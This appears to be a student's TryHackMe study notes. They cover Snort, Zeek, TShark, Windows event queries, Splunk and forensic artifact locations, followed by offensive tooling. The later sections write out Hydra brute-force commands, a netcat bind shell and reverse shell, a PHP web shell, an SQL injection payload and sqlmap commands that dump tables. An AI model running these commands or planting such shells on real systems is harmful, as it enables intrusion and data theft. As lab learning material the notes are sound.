THM Notes

1. SNORT

- `->`: Indicates inbound traffic direction.
- `<->`: Indicates bidirectional traffic.
- **Example Snort Rules:**

```
Shell
alert tcp any 22 -> any any (msg: "SSH Brute-Force Attack"; sid:100001; rev:1;)
```

- Detects outbound SSH traffic, potentially indicative of an SSH brute-force attack originating from the network.

```
Shell
alert tcp any any -> any 22 (msg: "SSH Brute-Force Attack"; sid:100002; rev:1;)
```

- Detects inbound SSH traffic, potentially indicative of an SSH brute-force attack targeting a local host.

```
Shell
alert icmp any any <-> any any (msg: "ICMP Ping"; sid:100003; rev:1;)
```

- Alerts on all ICMP ping traffic.

```
Shell
alert tcp any any -> any 80 (msg: "HTTP Traffic outbound"; sid:100004; rev:1;)
```

- Alerts on outbound HTTP traffic on port 80.
- **Commands:**

```
Shell
sudo snort -c /etc/snort/snort.conf -q -Q --daq afpacket -i eth0:eth1 -A full
```

- Executes Snort in Intrusion Prevention System (IPS) mode (Snort v2), utilizing the specified DAQ module and monitoring the eth0 and eth1 interfaces.

```
Shell
sudo snort -c local.rules -r example.pcap -A full -l .
```

- Runs Snort using custom rules from local.rules, analyzes the packet capture file example.pcap, displays full alerts, and logs output to the current directory.
    1. **Snort3:**
        - Uses `snort.lua` as the configuration file.

```
Shell
sudo snort -c /etc/snort/snort.lua -A alert_full
```

- Executes Snort with the specified configuration and displays complete alerts.

```
Shell
sudo snort -Q --daq afpacket -i eth0
```

- Runs Snort in inline mode (-Q), specifies the DAQ module, and monitors the eth0 interface.

2. ZEEK

- `zeek -C -r sample.pcap -s signature.sig`: Executes Zeek for traffic analysis using the specified packet capture file and signature file.
- `zeek -C -r sample.pcap 101.zeek`: Executes Zeek for traffic analysis using the specified packet capture and a Zeek script.

3. TSHARK

- Used to read pcap files and extract specific fields.
    1. `tshark -r directory-curiosity.pcap -T fields -e dns.qry.name`
        i. Reads the pcap and extracts the DNS query names.
    2. `tshark -r directory-curiosity.pcap -T fields -e http.server | awk NF`
        i. Reads the pcap and extracts HTTP server headers, filtering out empty fields.

4. WINDOWS EVENTS

- `Get-WinEvent -LogName Security -FilterXPath '*/EventData/Data[@Name="TargetUserName"]="Sam" and */System/EventID=4720'`
    - Retrieves security events where the `TargetUserName` is "Sam" and the `EventID` is 4720 (A user account was created).
- `Get-WinEvent -LogName Application -FilterXPath '*/System/Provider[@Name="WLMS"] and */System/TimeCreated[@SystemTime="2020-12-15`

`T01:09:08.940277500Z"]'`

  - Retrieves application events from the "WLMS" provider that occurred at a specific system time.
  - `FilterXPath`: Used for advanced filtering based on the XML structure of event details.
- **Example Breakdown:**
  - `Get-WinEvent -LogName <LogName> -FilterXPath '*/System/Provider[@Name="Microsoft-Windows-Sysmon"] and */EventData/Data[@Name="ProcessId"]="9300"'`: Filters events from a specified log name, where the provider is "Microsoft-Windows-Sysmon" and the `ProcessId` is "9300".

5. SPLUNK

- `index`: Represents a data repository (or bucket) in Splunk.
- `sourcetype`: Identifies the format or source of the logs (e.g., `xmlwinevent`, `winevent`, `suricata`).
- **Example Search:**
  - `index=botsv1 sourcetype=stream:http dest_ip="192.168.250.70" http_method=POST form_data=*username*passwd* | rex field=form_data "passwd=(?<creds>\w+)" | table _time src_ip uri http_user_agent creds`: Searches the `botsv1` index for HTTP stream data, filtering by a specific destination IP, POST method, and form data containing "username" and "passwd". It then uses a regular expression (`rex`) to extract the password value into the field `creds` and displays a table with the timestamp, source IP, URI, user agent, and extracted credentials.

6. DFIR (Digital Forensics and Incident Response)

- **File Systems:**
  1. FAT12
  2. FAT16
  3. FAT32
  4. NTFS

- **EZ Tools (Eric Zimmerman's Tools):**
    1. `MFTECmd.exe`: Used to parse Master File Table (MFT) files (`$MFT`, `$BOOT`).
    2. `PECmd.exe`: Used to parse Windows prefetch files (`.pf`), typically located at `C:\Windows\Prefetch\{app}.pf`.
    3. `WxTCmd.exe`: Parses the Windows 10 timeline database, which tracks recently executed programs. The database is located at `C:\Users\<username>\AppData\Local\ConnectedDevicesPlatform\{randomfolder}\ActivitiesCache.db`.
    4. `JLECmd.exe`: Parses Windows jump lists, which record recently opened application files. Files are found in `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\{filename}.automaticDestinations-ms`.
    5. `LECmd.exe`: Parses Windows shortcut files (`.lnk`), commonly found in the following directories:
        - `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\`
        - `C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\`
    6. **Web History:** Web cache databases are typically located at `C:\Users\<username>\AppData\Local\Microsoft\Windows\WebCache\WebCacheV\*.dat`.
    7. **Setupapi Dev Logs (USB):** Logs related to device installation, including USB connections, are found in `C:\Windows\inf\setupapi.dev.log`.

Hydra

- A pentesting tool used to brute force web logins

```shell
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.201.32.249 http-post-form "/login:username=^USER^&password=^PASS^:Your username or password is incorrect."
```

- Used to brute force web page login

```
Shell
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.201.32.249 -t 4 ssh
```

- Used to brute force ssh login

Gobuster

- Enumerates web directories
- Brute force using wordlists
- Example:

```
Shell
gobuster dir -u "http://www.example.thm/" -w /usr/share/wordlists/dirb/small.txt
-t 64
```

- Expands on the previous command by service for specific file extensions (.js)

```
Shell
gobuster dir -u "http://www.offensivetools.thm/secret" -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .js
```

- DNS enumeration for subdomains

```
Shell
gobuster dns -d offensivetools.thm -w
/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

- Virtual host nc

```
Shell
gobuster vhost -u "http://10.201.30.2" --domain offensivetools.thm -w
/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
--append-domain --exclude-length 250-320
```

Shells

- Bind Shell

```
Shell
#target machine
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 >
/tmp/f
```

```shell
#inbound connection from attacker
nc -lvnp 4444
```

- Reverse Shell
    - *Cat to bash to netcat* shell
    - Remove any named pipes in the /tmp/f directory
    - Make a named pipe

```shell
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 192.168.141.90 4444 > /tmp/f
```

- Web Shell
- Script to execute remote commands via Unrestricted File Upload vulnerability

```php
<?php
if (isset($_GET['cmd'])) {
	system($_GET['cmd']);
}
?>
```

SQLMap

- SQL injection tool for discovering vulnerable databases

```sql
SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';
```

- Example SQL query to find the user John and the password of Un@detectable444

```sql
SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';
```

- This time, asks for the user John and password of abc or 1=1

- Since the user would not have the password, abc, above, it then checks the 1=1 statement; which is true
- Below uses the web app to grab all the members database tables

```
Shell
sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members --tables
```

- Below is the sequence of commands

```
Shell
sqlmap -u http://10.201.122.234/ai/includes/user_login?email=test&password=test
--dbs --level=5
sqlmap -u http://10.201.122.234/ai/includes/user_login?email=test&password=test -D
<database> --tables
sqlmap -u http://10.201.122.234/ai/includes/user_login?email=test&password=test -D
<database> -T <table> --dump
```

- Each of these commands are steps in order for gathering information from the database
    - Scans for databases
    - From a database, scan for tables
    - Dump the database table information